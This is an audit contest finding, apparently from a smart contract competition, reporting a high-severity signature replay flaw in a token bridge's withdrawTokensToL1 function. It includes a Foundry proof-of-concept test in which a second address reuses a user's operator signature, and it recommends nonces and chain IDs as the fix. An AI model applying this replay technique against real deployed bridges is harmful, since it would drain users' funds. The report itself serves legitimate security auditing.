Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Withdraw is susceptible to signature replay

Summary

Signature can be re-used.

Vulnerability Details

Signature replay allows malicious actors to withdraw funds to move a users funds (albeit only to the wallet they specified). A key invariant of the bridge is broken when a signature can be successfully used more than once.

Impact

Bridge allows user to specify the l2 recipient, therefore it which could quite realistically be used for debt settlement. This vulnerability would allow the recipient of such a transaction to drain the users funds.

POC

function testSignatureReplay() public {
// create user 2 to replay signature
address user2InL2 = makeAddr("userInL2");
address user2 = makeAddr("user2");
uint256 withdrawalAmount = 5e18;
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, withdrawalAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, withdrawalAmount, v, r, s);
vm.stopPrank();
vm.startPrank(user2);
tokenBridge.withdrawTokensToL1(user, withdrawalAmount, v, r, s);
}

Tools Used

Manual review

Recommendations

Ensure nonce and chainID is used when generating signature.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.